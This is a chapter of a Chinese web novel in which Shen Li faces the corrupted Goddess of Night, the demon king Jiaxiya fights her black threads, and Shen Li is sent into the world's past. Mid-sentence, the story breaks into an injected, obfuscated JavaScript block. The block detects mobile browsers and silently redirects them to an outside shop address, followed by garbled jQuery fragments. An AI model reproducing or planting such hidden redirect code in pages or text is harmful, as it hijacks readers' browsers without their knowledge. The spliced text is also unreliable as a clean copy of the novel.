“其余人无法承受我的声音。”
“关于我知晓你的原因,是因为一则寓言。”
沈黎:“寓言?”
“几百年前哥哥被污染的时候,时间之神曾发出过一则寓言:双月并轨,虚无生境。”
沈黎:听不懂。
不过照着答案倒推题目的话,这句话的意思应该是:双月重叠的时候,会有一个人从虚空而来打破现在的格局,找到生机?
这个人不会是她吧。
沈黎不知道自己究竟能改变什么。
她好像确实改变了些东西,但那都是些微不足道的小事,蝴蝶振翅也能改变世界吗?她对此保持怀疑,于是只能沉默地点点头表示知道了。
黑夜女神开始问祂的第二个问题。
祂说:“如果牺牲一小部分人的生命就能换取另一部分人生机,你会怎么选?”
沈黎挑了挑眉。
她还以为黑夜女神的第二个问题是关于祂身上的麻烦该怎么解决。
祂看起来明显不是正常形态,至少身上那不详的黑线必定不属于祂自己的一部分,沈黎猜那可能就是黑暗之神的污染。
不过这个问题也是够刁钻的。
沈黎若是没有得到第一个问题的回答,对这个问题可能还没有那么多的联想,最多以为这个问题是一场考验。
她为了活下来,会毫不犹豫地回答一些伟光正的答案。
不过现在不一样,黑夜女神将自己当成了寓言里的人。
她的回答很重要,她的性命也没有威胁,至少在此时不会有什么威胁。
这问题不就是电车难题吗?
沈黎不由自主地开始衡量起黑夜女神倪克斯的意思,犹豫间问道:“在回答之前,我能不能先行使我第二个问题的权力?”
黑夜女神:“可以。”
沈黎:“您现在的状态,还能维持多久?”
沈黎怕黑夜女神误解了她的意思浪费她一次回答,说的时候比了比自己身体的周围,补充道:“我是指您身上的黑线被黑暗之神完全污染侵蚀的时间?”
黑夜女神听闻,面无表情地随手捏碎一些蠕动的黑线,说:“不会太久。”
“三十年内我的意志就会消失。”
浓厚的悲伤像一张网一样向沈黎兜来,沈黎感受到黑夜女神倪克斯的浓浓的悲悯,这悲悯不是对自我消亡的遗憾,而是痛苦于人类的命运即将走到尽头。
沈黎倒吸一口凉气。
她知道电车前横卧在轨道上人少的那一边是谁了。
是异族、恶魔和神族。
她撑不了太久,所以想一次性把麻烦都解决掉。
如果没有沈黎,祂一定会这么做的。
但神不一样,异族是祂的孩子,不夸张地说,恶魔也算祂的孩子。
黑夜女神是掌管孕育权柄的女神,天下间的一切生物都是祂的孩子。
祂平等地爱着一切。
沈黎这次陷入了长长久久的沉默。
她的面前是夜魅族众人跪地的景象,左边是希里和乔尔充满信赖地站在她身侧。
还有远在帝国的菲尼尔和同学们。
他们都是异族。
还有迦西亚。
沈黎犹豫了很久,才用沙哑的声音说:“我不会选,我谁都不会选。”
“我会选择解决制造出这个矛盾的人。”
黑夜女神:“如果这个人,或者事情永远无法被打败呢?”
沈黎刚刚想过这个可能,她选择了回避,问道:“这算是您的第三个问题吗?”
黑暗女神已经知道了沈黎的答案。
祂的时间要结束了。
黑夜女神‘看见’沈黎单薄的身体站在祂面前,用天真的语气表达着不害怕、不畏惧,也不在乎对手是不是能被打败。
祂从她的脑海里曾看见过另外一个世界。
她的世界里没有异族,没有魔法,没有摇摇欲坠的大陆。
可她尊重了这里的一切存在。
祂突然有了一丝明悟,不再继续提问。
“你想看看我之前的样子吗?”黑夜女神如是说道。
沈黎:“啊?”
黑夜女神清冷的声音带着温和的暖意,说:“外乡人,你有一次选择的权力,是选择了解这个世界和我以前的样子,还是完成最后一个问题。”
沈黎本来正绞尽脑汁想最后一个问题呢,其实她真的没什么想问的,正想着怎么问一个听起来高大上的问题显得自己没那么没文化呢。
黑夜女神这话无疑是给了沈黎一个最好的选择,她欣然道:“我选第一个!如果您方便的话。”
祂伸出右手,在空中拂过。
沈黎意识进入一场黑雾。
她的身体软软倒下,被一道黑雾接住后妥善地放在地上。
-
黑夜女神做完这一切后随手将众人的时间拨回了正轨。
同一刻,这小小的、破烂的酒馆里的所有人,全都知道——
神,降临了。
夜魅族恍然地站在原地痴痴望着上方,连支撑起来的防御都忘了,任由曾被定格在空中的技能砸在身上。
赤鬼族像一只只老鼠,缩着脖子不断地退后,再退后。
迦西亚瞬间意识到了什么,瞳孔刹那间变成针尖儿大小,将倒在地上的沈黎抱起。
他用手探了探沈黎的鼻息,生命体征正常,迦西亚逼着自己分出一部分魔力探入沈黎体内寻找她倒在地上的原因。
行云流水一套动作,从时间重新流逝到确认完沈黎安危,不超过3秒。
最后迦西亚的视线直直地望向空中的黑夜女神倪克斯。
迦西亚:“你对她做了什么?”
祂隐匿了自己的身形具象化成一团黑夜的浓雾,静静地立在酒馆上方。
其实倪克斯的脾气并没有那么好。
至少在厄瑞玻斯将祂污染之后,黑夜女神或多或少被同化了一部分性格。
被一个恶魔如此质问,祂一点耐心都没有,将身上缠绕的一根黑线甩到迦西亚身上,说:“与你何干?深渊才是你的归处。”
迦西亚能当上魔王也不是吃素的,若是鼎盛状态下,这一击对他来说躲开不是什么难事。
坏就坏在他还要分心压制前任魔王。
迦西亚只能做到在黑线碰到他时把沈黎放在旁边的椅子上。
黑线绕开旁边的希里和乔尔,拐了个弯,对准迦西亚的头射去,在碰到迦西亚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433631|194680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时候陡然变得粗长,原本平滑的表面长出一根根尖刺,荆棘般死死缠绕在他身上。
迦西亚青筋暴起,头上逼出两只长长的骨质尖角,手指长出黑色的尖甲,将身上的黑线震碎。
那黑线实际上是黑暗之神厄瑞玻斯污染的具象,本体不死不灭。
魔王没有一丝可能杀掉一个神的遗物。
迦西亚脑子里传来前任魔王的声音:“你疯了?你抽掉压制我的力量,会将我真正放出来的!”
迦西亚嗤笑一声。
他问:“你敢出来吗?”
脑袋里的前任魔王没声儿了。
迦西亚疯了,他可没疯。
前任魔王现在确实可以出来,迦西亚将力量全用在撕碎黑夜女神丢过来的黑线上了,没有了压制的前任魔王随时可以出来。
但出来之后呢?
难道要他去面对一个神明吗?
酒馆里的时间早就恢复了正常流逝,却依旧静悄悄的,一点声音都没有,直到迦西亚露出了恶魔的形态才渐渐有人开始说话。
“恶魔?”
“不不,他是魔王?”
“女神保佑......”
渺小的人类和异族,就连喃喃自语都不敢放大声音,没人敢忘记还有一个真神挂在头上。
-
沈黎跌入了一片漆黑。
她的心情不怎么好,因为她已经在黑雾里走了至少一刻钟了,黑雾仿佛没有尽头般延绵不绝。
这里上下左右都能走,她就像在一个没有边界的混沌里,不知道该往哪儿走。
沈黎强迫心烦气躁的自己静下心,想着黑夜女神最后一句话是什么来着?
“是选择了解这个世界和我以前的样子,还是完成最后一个问题的交换。”
她选了第一个。
然后就被丢到这里来了。
难道这就是黑夜女神想给她展示的‘世界和祂以前的样子’?一片虚无?
这也太意识流了吧,直接给她‘前’到世界初开的时候了。
沈黎走了一天一夜,前方有了一丝微光。
拨开挡在眼前不肯退去的迷雾,沈黎正努力想要看清这光从何而来,身体却猛地坠落,跌到地上。
沈黎:“*******!”
是谁!到底是谁在浪费她的时间!
揉了揉摔得青紫的屁股,突然意识到不对。
她怎么有身体?不应该是灵魂出窍的状态吗?刚刚在那片浓雾空间里她也是摸不到自己的灵魂状态啊!
沈黎伸出胳膊,看到的是一双再熟悉不过的手。
那是她看了二十多年的,穿越之前的手!
垂在胸前的头发也变成了黑色,她回到了穿越前!
还不等她心里泛起什么情绪,沈黎就被眼前的风景拉回了心神。
炊烟袅袅的小村庄,典型欧式建筑的小院,熟悉的麦田和路边玩耍的金发碧眼的孩子,都在告诉她这里还是帝国。
她没有回去,没有回到地球。
这里就是黑夜女神说的,几百年前的世界。
或许是沈黎发呆发得久了,有好奇的村民凑过来打量沈黎,说:“你好,请问你是来珍娜渔港参加庆典的客人吗?”